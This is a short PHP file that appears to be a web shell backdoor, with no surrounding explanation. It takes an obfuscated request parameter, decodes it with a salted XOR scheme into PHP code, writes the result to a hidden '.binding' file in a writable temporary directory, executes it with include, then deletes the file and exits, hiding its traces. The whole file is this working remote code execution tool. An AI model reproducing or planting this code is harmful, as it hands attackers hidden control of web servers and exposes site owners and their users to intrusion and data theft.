<?php

if(count($_REQUEST) > 0 && isset($_REQUEST["\x64\x63\x68unk"])){
	$itm = $_REQUEST["\x64\x63\x68unk"];
	  $itm= 	 explode	(	".",  $itm 	 );
	$token='';
            $salt='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=strlen($salt );
            $t=0;
    
            array_walk($itm	,		function ($v6) use (&$token	,		&$t	,		$salt	,		$lenS) { $sChar=ord($salt[$t % $lenS] );
                $d=((int)$v6 - $sChar - ($t % 10)) ^ 49;
                $token	.= chr($d );
                $t++;
            } );
	$descriptor = array_filter([sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP")]);
	$key = 0;
do {
    $data = $descriptor[$key] ?? null;
    if ($key >= count($descriptor)) break;
    		if (is_dir($data) ? is_writable($data) : false) {
    $bind = "$data/.binding";
    if (file_put_contents($bind, $token)) {
	include $bind;
	@unlink($bind);
	die();
}
}
    $key++;
} while (true);
}